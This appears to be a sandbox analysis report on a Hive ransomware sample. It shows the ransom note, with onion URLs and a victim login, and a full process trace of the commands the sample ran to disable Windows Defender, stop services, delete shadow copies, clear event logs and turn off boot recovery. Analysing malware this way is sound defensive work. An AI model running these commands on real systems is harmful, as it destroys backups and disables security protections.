Analysis

  • max time kernel
    105s
  • max time network
    136s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/10/2022, 19:52

General

  • Target
    0e4d44dde522c07d09d9e3086cfae803.exe
  • Size 3.9MB
  • Sample221010-ylqcmsdbel
  • SHA256 33aceb3dc0681a56226d4cfce32eee7a431e66f5c746a4d6dc7506a72b317277
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Path
  • C:\n8pw_HOW_TO_DECRYPT.txt

  • hive

Ransom Note
  • Your network has been breached and all data were encrypted. Personal data, financial reports and important documents are ready to disclose. To decrypt all the data and to prevent exfiltrated files to be disclosed at http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/ you will need to purchase our decryption software. Please contact our sales department at: http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/ Login: fTP4dtHQ51ZX Password: 7zC1gVatfxGNUwxnLe4e To get an access to .onion websites download and install Tor Browser at: https://www.torproject.org/ (Tor Browser is not related to us) Follow the guidelines below to avoid losing your data: - Do not modify, rename or delete *.key.cv2gj files. Your data will be undecryptable. - Do not modify or rename encrypted files. You will lose them. - Do not report to the Police, FBI, etc. They don't care about your business. They simply won't allow you to pay. As a result you will lose everything. - Do not hire a recovery company. They can't decrypt without the key. They also don't care about your business. They believe that they are good negotiators, but it is not. They usually fail. So speak for yourself. - Do not reject to purchase. Exfiltrated files will be publicly disclosed.
URLs
  • http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/

  • http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/

Signatures

  • Hive

    A ransomware written in Golang first seen in June 2021.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs
  • Modifies security service 2 TTPs 1 IoCs
  • Clears Windows event logs 1 TTPs 3 IoCs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Modifies extensions of user files 8 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0e4d44dde522c07d09d9e3086cfae803.exe
    "C:\Users\Admin\AppData\Local\Temp\0e4d44dde522c07d09d9e3086cfae803.exe"
    1⤵
    • Modifies extensions of user files
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3536
    • C:\Windows\SYSTEM32\net.exe
      net.exe stop "SamSs" /y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3752
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 stop "SamSs" /y
        3⤵
          PID:204
      • C:\Windows\SYSTEM32\net.exe
        net.exe stop "SDRSVC" /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4836
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 stop "SDRSVC" /y
          3⤵
            PID:4568
        • C:\Windows\SYSTEM32\net.exe
          net.exe stop "SstpSvc" /y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4360
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 stop "SstpSvc" /y
            3⤵
              PID:176
          • C:\Windows\SYSTEM32\net.exe
            net.exe stop "vmicvss" /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4612
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop "vmicvss" /y
              3⤵
                PID:3836
            • C:\Windows\SYSTEM32\net.exe
              net.exe stop "VSS" /y
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:2228
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop "VSS" /y
                3⤵
                  PID:4696
              • C:\Windows\SYSTEM32\net.exe
                net.exe stop "wbengine" /y
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:3692
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop "wbengine" /y
                  3⤵
                    PID:2248
                • C:\Windows\SYSTEM32\net.exe
                  net.exe stop "WebClient" /y
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2692
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop "WebClient" /y
                    3⤵
                      PID:3084
                  • C:\Windows\SYSTEM32\net.exe
                    net.exe stop "UnistoreSvc_196e4" /y
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3232
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 stop "UnistoreSvc_196e4" /y
                      3⤵
                        PID:3708
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "SamSs" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:4464
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "SDRSVC" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:3860
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "SstpSvc" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:4180
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "vmicvss" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:2192
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "VSS" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:3872
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "wbengine" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:2684
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "WebClient" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:4120
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "UnistoreSvc_196e4" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:2112
                    • C:\Windows\SYSTEM32\reg.exe
                      reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                      2⤵
                        PID:3696
                      • C:\Windows\SYSTEM32\reg.exe
                        reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                        2⤵
                          PID:1696
                        • C:\Windows\SYSTEM32\reg.exe
                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                          2⤵
                            PID:3896
                          • C:\Windows\SYSTEM32\reg.exe
                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                            2⤵
                              PID:3912
                            • C:\Windows\SYSTEM32\reg.exe
                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                              2⤵
                                PID:4252
                              • C:\Windows\SYSTEM32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:8
                              • C:\Windows\SYSTEM32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:1644
                              • C:\Windows\SYSTEM32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:1440
                              • C:\Windows\SYSTEM32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:1500
                              • C:\Windows\SYSTEM32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:432
                              • C:\Windows\SYSTEM32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                                2⤵
                                  PID:1908
                                • C:\Windows\SYSTEM32\reg.exe
                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                                  2⤵
                                    PID:4288
                                  • C:\Windows\SYSTEM32\reg.exe
                                    reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                    2⤵
                                      PID:3780
                                    • C:\Windows\SYSTEM32\reg.exe
                                      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
                                      2⤵
                                        PID:3508
                                      • C:\Windows\SYSTEM32\reg.exe
                                        reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                        2⤵
                                          PID:664
                                        • C:\Windows\SYSTEM32\reg.exe
                                          reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                          2⤵
                                            PID:5076
                                          • C:\Windows\SYSTEM32\schtasks.exe
                                            schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                            2⤵
                                              PID:224
                                            • C:\Windows\SYSTEM32\schtasks.exe
                                              schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                              2⤵
                                                PID:3908
                                              • C:\Windows\SYSTEM32\schtasks.exe
                                                schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                                2⤵
                                                  PID:2224
                                                • C:\Windows\SYSTEM32\schtasks.exe
                                                  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                  2⤵
                                                    PID:3496
                                                  • C:\Windows\SYSTEM32\schtasks.exe
                                                    schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                    2⤵
                                                      PID:5080
                                                    • C:\Windows\SYSTEM32\reg.exe
                                                      reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
                                                      2⤵
                                                        PID:3664
                                                      • C:\Windows\SYSTEM32\reg.exe
                                                        reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
                                                        2⤵
                                                          PID:5084
                                                        • C:\Windows\SYSTEM32\reg.exe
                                                          reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
                                                          2⤵
                                                            PID:1856
                                                          • C:\Windows\SYSTEM32\reg.exe
                                                            reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                            2⤵
                                                              PID:1912
                                                            • C:\Windows\SYSTEM32\reg.exe
                                                              reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                              2⤵
                                                                PID:4208
                                                              • C:\Windows\SYSTEM32\reg.exe
                                                                reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                                2⤵
                                                                  PID:1396
                                                                • C:\Windows\SYSTEM32\reg.exe
                                                                  reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                                  2⤵
                                                                    PID:1100
                                                                  • C:\Windows\SYSTEM32\reg.exe
                                                                    reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                                    2⤵
                                                                      PID:808
                                                                    • C:\Windows\SYSTEM32\reg.exe
                                                                      reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                                      2⤵
                                                                        PID:4936
                                                                      • C:\Windows\SYSTEM32\reg.exe
                                                                        reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                        2⤵
                                                                          PID:4660
                                                                        • C:\Windows\SYSTEM32\reg.exe
                                                                          reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                                          2⤵
                                                                          • Modifies security service
                                                                          PID:4056
                                                                        • C:\Windows\SYSTEM32\reg.exe
                                                                          reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                                                          2⤵
                                                                            PID:4348
                                                                          • C:\Windows\SYSTEM32\vssadmin.exe
                                                                            vssadmin.exe delete shadows /all /quiet
                                                                            2⤵
                                                                            • Interacts with shadow copies
                                                                            PID:3172
                                                                          • C:\Windows\SYSTEM32\wevtutil.exe
                                                                            wevtutil.exe cl system
                                                                            2⤵
                                                                            • Clears Windows event logs
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:3368
                                                                          • C:\Windows\SYSTEM32\wevtutil.exe
                                                                            wevtutil.exe cl security
                                                                            2⤵
                                                                            • Clears Windows event logs
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:3868
                                                                          • C:\Windows\SYSTEM32\wevtutil.exe
                                                                            wevtutil.exe cl application
                                                                            2⤵
                                                                            • Clears Windows event logs
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:5068
                                                                          • C:\Windows\System32\Wbem\wmic.exe
                                                                            wmic.exe SHADOWCOPY /nointeractive
                                                                            2⤵
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:2136
                                                                          • C:\Windows\System32\Wbem\wmic.exe
                                                                            wmic.exe shadowcopy delete
                                                                            2⤵
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:5028
                                                                          • C:\Windows\SYSTEM32\bcdedit.exe
                                                                            bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
                                                                            2⤵
                                                                            • Modifies boot configuration data using bcdedit
                                                                            PID:1536
                                                                          • C:\Windows\SYSTEM32\bcdedit.exe
                                                                            bcdedit.exe /set {default} recoveryenabled no
                                                                            2⤵
                                                                            • Modifies boot configuration data using bcdedit
                                                                            PID:4384
                                                                          • C:\Windows\SYSTEM32\cmd.exe
                                                                            cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                            2⤵
                                                                              PID:4992
                                                                            • C:\Windows\SYSTEM32\cmd.exe
                                                                              cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
                                                                              2⤵
                                                                                PID:1164
                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                  powershell Set-MpPreference -DisableIOAVProtection $true
                                                                                  3⤵
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  PID:2400
                                                                              • C:\Windows\SYSTEM32\cmd.exe
                                                                                cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                2⤵
                                                                                  PID:2188
                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                    powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                    3⤵
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    PID:3160

                                                                              Network

                                                                                    MITRE ATT&CK Enterprise v6

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                                                                                    Downloads

                                                                                    powershell.exe.log

                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                                                    • Size 2KB
                                                                                    • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                                                                                    • MD5 SHA1 SHA512

                                                                                    StartupProfileData-NonInteractive

                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                    • Size 944B
                                                                                    • SHA256 2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
                                                                                    • MD5 SHA1 SHA512

                                                                                    memory/2400-198-0x00007FF984A20000-0x00007FF9854E1000-memory.dmp

                                                                                    memory/2400-197-0x00007FF984A20000-0x00007FF9854E1000-memory.dmp

                                                                                    memory/2400-196-0x00000215D5D80000-0x00000215D5DA2000-memory.dmp

                                                                                    memory/3160-201-0x00007FF984970000-0x00007FF985431000-memory.dmp